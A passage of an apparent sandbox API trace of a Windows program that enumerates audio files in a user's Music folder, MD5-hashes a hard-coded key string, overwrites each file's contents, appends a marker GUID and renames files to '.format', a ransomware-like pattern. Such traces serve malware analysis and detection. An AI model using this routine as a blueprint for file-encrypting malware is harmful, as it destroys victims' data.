CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.905] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.905] GetLastError () returned 0x0 [0067.905] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.906] CryptReleaseContext (hProv=0x6ac018, dwFlags=0x0) returned 1 [0067.906] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x148b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.906] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.906] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.906] CloseHandle (hObject=0x5c8) returned 1 [0067.907] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\tBNdu.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\tbndu.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\tBNdu.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\tbndu.m4a.format")) returned 1 [0067.908] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d714660, ftCreationTime.dwHighDateTime=0x1d4d1ae, ftLastAccessTime.dwLowDateTime=0x342aac50, ftLastAccessTime.dwHighDateTime=0x1d4d02b, ftLastWriteTime.dwLowDateTime=0x342aac50, ftLastWriteTime.dwHighDateTime=0x1d4d02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ub2krgPHTK7", cAlternateFileName="UB2KRG~1")) returned 1 [0067.908] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d714660, ftCreationTime.dwHighDateTime=0x1d4d1ae, ftLastAccessTime.dwLowDateTime=0x342aac50, ftLastAccessTime.dwHighDateTime=0x1d4d02b, ftLastWriteTime.dwLowDateTime=0x342aac50, ftLastWriteTime.dwHighDateTime=0x1d4d02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ub2krgPHTK7", cAlternateFileName="UB2KRG~1")) returned 0 [0067.908] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.908] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.908] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.908] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\") returned="okHQRb\\" [0067.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0067.908] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0067.908] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.908] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.909] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.909] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.909] PathFindFileNameW (pszPath="") returned="" [0067.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.909] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7d4b0, ftCreationTime.dwHighDateTime=0x1d4c717, ftLastAccessTime.dwLowDateTime=0x9c481e60, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0x9c481e60, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.909] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7d4b0, ftCreationTime.dwHighDateTime=0x1d4c717, ftLastAccessTime.dwLowDateTime=0x9c481e60, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0x9c481e60, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.909] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b46d430, ftCreationTime.dwHighDateTime=0x1d4c8f3, ftLastAccessTime.dwLowDateTime=0xaa588d10, ftLastAccessTime.dwHighDateTime=0x1d4c753, ftLastWriteTime.dwLowDateTime=0xaa588d10, ftLastWriteTime.dwHighDateTime=0x1d4c753, nFileSizeHigh=0x0, nFileSizeLow=0x14045, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-kF5YbTX2wf98csgLT.wav", cAlternateFileName="-KF5YB~1.WAV")) returned 1 [0067.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.909] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.909] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.909] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\-kF5YbTX2wf98csgLT.wav") returned=".wav" [0067.909] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\-kF5YbTX2wf98csgLT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\okhqrb\\-kf5ybtx2wf98csglt.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.909] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=81989) returned 1 [0067.909] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.912] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1401f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.912] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.913] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.913] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x14045, lpOverlapped=0x0) returned 1 [0067.913] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.913] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.913] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.913] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac018) returned 1 [0067.914] CryptCreateHash (in: hProv=0x6ac018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.914] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.914] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.914] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.914] GetLastError () returned 0x0 [0067.914] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.914] CryptReleaseContext (hProv=0x6ac018, dwFlags=0x0) returned 1 [0067.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14050) returned 0x32b2f40 [0067.915] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.915] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x14040, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x14040, lpOverlapped=0x0) returned 1 [0067.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.915] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x14045, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.915] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.915] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.915] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.916] CloseHandle (hObject=0x5c8) returned 1 [0067.917] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x30cd888 [0067.917] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0067.917] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30cd888 | out: hHeap=0x5d0000) returned 1 [0067.917] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\-kF5YbTX2wf98csgLT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\okhqrb\\-kf5ybtx2wf98csglt.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\-kF5YbTX2wf98csgLT.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\okhqrb\\-kf5ybtx2wf98csglt.wav.format")) returned 1 [0067.917] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.917] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.918] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.918] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6b803e0, ftCreationTime.dwHighDateTime=0x1d4d0c0, ftLastAccessTime.dwLowDateTime=0x25231b10, ftLastAccessTime.dwHighDateTime=0x1d4cd5c, ftLastWriteTime.dwLowDateTime=0x25231b10, ftLastWriteTime.dwHighDateTime=0x1d4cd5c, nFileSizeHigh=0x0, nFileSizeLow=0x1366c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8 8rCdOQQ9YjD8.wav", cAlternateFileName="88RCDO~1.WAV")) returned 1 [0067.918] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.918] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.918] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.918] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\8 8rCdOQQ9YjD8.wav") returned=".wav" [0067.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\8 8rCdOQQ9YjD8.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\okhqrb\\8 8rcdoqq9yjd8.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.919] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=79468) returned 1 [0067.919] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.921] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13646, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.921] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.922] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.922] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.922] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1366c, lpOverlapped=0x0) returned 1 [0067.922] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.922] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.922] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.923] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac018) returned 1 [0067.923] CryptCreateHash (in: hProv=0x6ac018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.923] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.923] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.923] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.923] GetLastError () returned 0x0 [0067.923] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.924] CryptReleaseContext (hProv=0x6ac018, dwFlags=0x0) returned 1 [0067.924] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.924] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x13670) returned 0x32b2f40 [0067.924] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.924] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.924] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x13667, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x13667, lpOverlapped=0x0) returned 1 [0067.924] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.924] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1366c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.924] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.924] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.924] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.925] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.925] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.925] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.925] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.925] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.925] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.925] CloseHandle (hObject=0x5c8) returned 1 [0067.926] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac018 [0067.926] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0067.926] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac018 | out: hHeap=0x5d0000) returned 1 [0067.926] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\8 8rCdOQQ9YjD8.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\okhqrb\\8 8rcdoqq9yjd8.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\8 8rCdOQQ9YjD8.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\okhqrb\\8 8rcdoqq9yjd8.wav.format")) returned 1 [0067.927] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.927] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.928] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.928] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe64c26c0, ftCreationTime.dwHighDateTime=0x1d4d48b, ftLastAccessTime.dwLowDateTime=0x54c3da90, ftLastAccessTime.dwHighDateTime=0x1d4c81f, ftLastWriteTime.dwLowDateTime=0x54c3da90, ftLastWriteTime.dwHighDateTime=0x1d4c81f, nFileSizeHigh=0x0, nFileSizeLow=0x53c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="T0s4dbG.wav", cAlternateFileName="")) returned 1 [0067.928] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.928] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.928] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\T0s4dbG.wav") returned=".wav" [0067.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\T0s4dbG.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\okhqrb\\t0s4dbg.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.928] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=21441) returned 1 [0067.928] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.931] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x539b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.931] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.931] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.931] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.931] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.931] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x53c1, lpOverlapped=0x0) returned 1 [0067.932] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.932] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.932] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.932] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.932] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac018) returned 1 [0067.933] CryptCreateHash (in: hProv=0x6ac018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.933] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.933] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.933] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.933] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.933] GetLastError () returned 0x0 [0067.933] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.933] CryptReleaseContext (hProv=0x6ac018, dwFlags=0x0) returned 1 [0067.933] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.933] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x53c0) returned 0x32b2f40 [0067.933] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, 